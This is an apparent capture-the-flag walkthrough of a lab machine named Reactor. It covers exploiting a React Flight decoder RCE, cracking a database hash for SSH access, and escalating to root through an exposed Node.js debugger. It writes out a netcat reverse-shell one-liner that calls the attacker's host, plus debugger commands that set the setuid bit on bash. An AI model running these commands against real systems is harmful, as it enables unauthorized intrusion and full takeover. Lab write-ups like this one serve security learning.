Overview
Reactor is an easy Linux machine that runs a Node.js web application on port 3000. The application is vulnerable to CVE-2025-55182, an unauthenticated remote code execution flaw in the React Flight decoder, which gives us a shell as the web server user. A SQLite database in the web directory holds password hashes, and one of them cracks to the password of the engineer user, so we can log in over SSH. A Node.js process that runs as root exposes its debugger on localhost, and connecting to it gives us code execution as root.
Enumeration
We initiated our exploitation process by conducting comprehensive enumeration of the target machine. This phase is critical for identifying potential attack vectors and understanding the system’s architecture.
Nmap Scan
To identify which ports and services are running on the target machine, we executed an Nmap scan with service version detection and default scripts:
Reactor ➜ nmap -sC -sV 10.129.245.214

Nmap Scan
Results:
The scan revealed that the target system has a limited attack surface with only 2 open ports:
| Port | Service | Description |
|---|---|---|
| 22 | SSH | Standard secure shell service for remote administration |
| 3000 | HTTP Web Application | A web service running on Node.js/Express |
Reviewing Web Application
With our reconnaissance complete, we began analyzing the web application hosted on port 3000.
Access Point:
http://10.129.245.214:3000/
We attempted various enumeration techniques against the web application, but initial approaches did not yield immediate results. However, by analyzing the HTTP response headers and inspecting the application’s behavior in Burp Suite, we were able to identify critical information about the backend technology stack.
Node JS
Through careful analysis of the HTTP responses and server headers, we identified that the backend is powered by Node.js. This discovery was crucial because it directed our vulnerability research toward Node.js-specific CVEs and attack vectors.

Node JS
We were able to gather the Node JS version (15.0.3).

Node JS Version
Exploitation
After gathering sufficient information about the target system, we researched potential vulnerabilities associated with Node.js 15.0.3 and identified a critical security flaw that would allow us to execute arbitrary code on the target system without requiring any authentication.
CVE Review
Our vulnerability research led us to identify CVE-2025-55182, a critical unauthenticated remote code execution vulnerability in the React Flight decoder used by React Server Components.
Here’s a simplified explanation of the vulnerability:
- Prototype Chain Traversal: The decoder allows traversing object prototypes using special syntax (
$N:__proto__:constructor), which leads to access to the JavaScriptFunctionconstructor - Forged Chunk Objects: Attackers can create fake chunk objects that the decoder treats as legitimate
- Blob Sink Exploitation: The decoder’s blob reference handling can be hijacked to create functions from arbitrary JavaScript strings
- Code Execution: When the server awaits these forged objects, the attacker’s code executes with full Node.js process privileges
The vulnerability exists because the Flight decoder processes and deserializes data before validating its authenticity and origin, allowing a carefully crafted payload to bypass security checks.
Reference Documentation: https://www.resecurity.com/blog/article/react2shell-explained-cve-2025-55182-from-vulnerability-discovery-to-exploitation

From: resecurity.com
Validate PoC
Before attempting to gain a full reverse shell (which could be unstable or cause issues), we first validated that the Remote Code Execution (RCE) vulnerability actually exists on the target system. This is a best practice in penetration testing: confirm vulnerability before exploitation.
Proof of Concept Command:
We crafted a simple proof of concept that attempts to ping our attacking machine:
node exploit.js http://10.129.245.214:3000/ "ping -c 3 10.10.14.115"
This command:
- Takes the CVE-2025-55182 exploit code
- Targets the vulnerable React Flight decoder on the target
- Executes the ping command with 3 ICMP packets directed at our machine (10.10.14.115)
- If successful, our machine receives ICMP echo packets from the target
Verification Method:
To confirm that the RCE was successful, we monitored incoming traffic on our attacking machine:
sudo tcpdump -i tun0 icmp
This tcpdump command captures all ICMP packets (which is what ping uses) on our network interface, allowing us to see if the target machine actually pings us.

Validate RCE
This successful ping test validated that we could proceed with more advanced exploitation techniques.
Gaining Reverse Shell
With the RCE vulnerability confirmed, we proceeded to establish a persistent interactive shell connection to the target system. Rather than executing single commands, we crafted a payload that creates a reverse shell—a bidirectional communication channel that allows us to send commands and receive output interactively.
Reverse Shell Payload:
node exploit.js http://10.129.245.214:3000/ \
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.115 4444 >/tmp/f"
Reactor ➜ penelope -p 4444 -i tun0

Gained Reverse Shell
What Penelope Does:
- Detects the raw shell connection
- Allocates a proper pseudo-terminal (PTY)
- Negotiates terminal capabilities with the shell
- Enables advanced features: arrow keys, backspace, tab completion, colors, Ctrl+C handling
- Transforms a basic shell into a fully functional interactive terminal
We have successfully established a user-level shell on the target system as the www-data user. This is the web server user, not root, so we need to proceed with privilege escalation.
Post-Enumeration
Now that we have obtained initial access to the target system, we began the post-exploitation enumeration phase. This involves exploring the file system, identifying data repositories, and looking for credentials or information that could aid in privilege escalation.
One of our first discoveries during post-exploitation enumeration was a SQLite database file named reactor.db located in the web application directory. This database contains application data including user credentials, which would be valuable for lateral movement or privilege escalation.

SQLite Database
SQLite Database Enumeration
We are able to access the SQLite database. We utilized the following commands to further enumerate this database and extract the hashed passwords.
bash-5.2$ sqlite3 reactor.db
sqlite> .tables
sqlite> SELECT username, password_hash FROM users;

Hashes Discovered
Cracking Hash
We were able to post the hashes to crackstation. We were able to decrypt 1 hash, which has the password: reactor1.

Cracked Hash
SSH Login
With a valid username and password, we can now authenticate to the target system via SSH, which is more stable and reliable than our current reverse shell connection.
Reactor ➜ ssh [email protected]

SSH Login
We entered: reactor1
We now have a solid foothold on the system as the engineer user. However, we are still not root, so we must continue with privilege escalation enumeration.
Post-Exploitation
With user-level access as the engineer account, we began searching for privilege escalation vectors. The goal is to identify a way to escalate our privileges from engineer (UID 1000) to root (UID 0).
Local Service
During our enumeration of running services and open ports, we discovered an interesting service listening on localhost. Among the services, we identified a Node.js process running as root listening on port 9229:
-bash-5.2$ ss -tulnp
-bash-5.2$ ps -aux | grep 9229

Local Service Identified
The combination of these factors creates a critical privilege escalation vulnerability: a root-owned Node.js process with an unprotected debugger interface accessible to our engineer user.
Investigating Local Service
To better understand this privilege escalation vector, we examined the source code of the worker.js script that the Node.js process is executing:
// Import required Node.js modules
const http = require('http');
const fs = require('fs');
// ============ CONFIGURATION ============
const TARGET_URL = 'http://127.0.0.1:3000/';
const CSV_FILE = '/var/log/uptime-monitor.csv';
const INTERVAL_MS = 30_000;
const TIMEOUT_MS = 10_000;
// ============ UTILITY FUNCTIONS ============
/**
* Escapes CSV special characters to ensure proper CSV formatting
* Wraps values containing quotes, commas, or newlines in quotes
* and doubles internal quotes to escape them
*/
function csvEscape(value) {
const s = String(value ?? '');
return /[",\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
}
/**
* Records monitoring results to the CSV log file
* Appends a new row with timestamp, HTTP status, response time, response size, and any errors
*/
function record({ status, latency, size, error }) {
const row = [
new Date().toISOString(), // Current timestamp in ISO format
status ?? '', // HTTP status code (e.g., 200, 500) or empty if error
latency ?? '', // Response time in milliseconds
size ?? '', // Response body size in bytes
error ?? '', // Error message if request failed
]
.map(csvEscape) // Escape each field for CSV format
.join(',') + '\n'; // Join with commas and add newline
// Append row to CSV file (synchronous append)
fs.appendFileSync(CSV_FILE, row);
}
// ============ MONITORING FUNCTION ============
/**
* Performs a single HTTP probe to TARGET_URL and logs results
* Records: HTTP status, response time, response size, and any errors
*/
function probe() {
// Start high-resolution timer (returns BigInt in nanoseconds)
const start = process.hrtime.bigint();
let bytes = 0;
// Make HTTP GET request to TARGET_URL with timeout
const req = http.get(TARGET_URL, { timeout: TIMEOUT_MS }, (res) => {
// Handle incoming response data
res.on('data', (chunk) => {
bytes += chunk.length; // Accumulate response body size
});
// Handle end of response
res.on('end', () => {
// Calculate elapsed time in milliseconds (BigInt / 1,000,000)
const latencyMs = Number(
(process.hrtime.bigint() - start) / 1_000_000n
);
// Log successful response
record({
status: res.statusCode,
latency: latencyMs,
size: bytes,
});
});
});
// Handle network errors (connection refused, DNS failures, etc.)
req.on('error', (error) => {
const latencyMs = Number(
(process.hrtime.bigint() - start) / 1_000_000n
);
// Log error without status code
record({
latency: latencyMs,
error: error.code || error.message, // Error type or message
});
});
// Handle timeout (no response within TIMEOUT_MS)
req.on('timeout', () => {
req.destroy(); // Forcefully close the request
// Log timeout as an error
record({
latency: TIMEOUT_MS, // Record the timeout threshold as latency
error: 'TIMEOUT', // Mark as timeout error
});
});
}
// ============ MAIN EXECUTION ============
// Schedule probe to run every 30 seconds
setInterval(probe, INTERVAL_MS);
probe();
// Log startup message with process ID
console.log('uptime-monitor up, pid=' + process.pid);
The uptime-monitor is a service that:
- Periodically probes the React web application on port 3000 every 30 seconds
- Measures performance metrics: response time, response size, HTTP status
- Logs results to a CSV file with detailed timestamps
- Detects failures including timeouts and connection errors
- Runs continuously as a background monitoring service
Security Implications:
- The process runs as root, giving it full system privileges
- The Node.js process was started with
--inspectflag, enabling the debugger
This creates a critical privilege escalation path: we can connect to the debugger and execute arbitrary code with root privileges.
Reviewing debug functionality
The Node.js --inspect flag enables a powerful debugging interface that allows remote code execution. Since this root-owned process has an unprotected debugger, we can leverage it for privilege escalation.
Connect to Debugger
-bash-5.2$ node inspect 127.0.0.1:9229
Enumerate Global Scope
Object.keys() is a JavaScript method that lists all properties of an object.
debug> exec Object.keys(global)

Debugging Console
Check Process Object Available
process is a core Node.js object that gives access to the running process
debug> exec typeof process
Check Process Object
Lists all properties and methods on the process object. MaonModule is there.
debug> exec Object.keys(process)
debug> exec process.mainModule
The main module object contains the require() function from when the script loaded.

Access MainModule
Load ChildProcess Module
This module lets us execute system commands with execSync(), exec(), spawn(), etc.
debug> exec process.mainModule.require('child_process')
Execute Commands as Root
exec process.mainModule.require('child_process').execSync('whoami').toString()

Executed Command
Breaking this down:
| Part | Meaning |
|---|---|
process.mainModule |
The main worker.js module |
.require('child_process') |
Load the command execution module |
.execSync() |
Execute a shell command and wait for output |
'whoami' |
The command to run (shows current user) |
.toString() |
Convert the output (Buffer) to a string |
Escalate to root
We’ll use the root command execution to modify the permissions on /bin/bash, adding the setuid bit. This will allow any user (including our engineer account) to run bash with root privileges without needing the debugger.
debug> exec process.mainModule.require('child_process').execSync('chmod u+s /bin/bash').toString()
-bash-5.2$ bash -p

Escalate to root
We have successfully escalated privileges from engineer (UID 1000) to root (UID 0) and compromised the entire system.

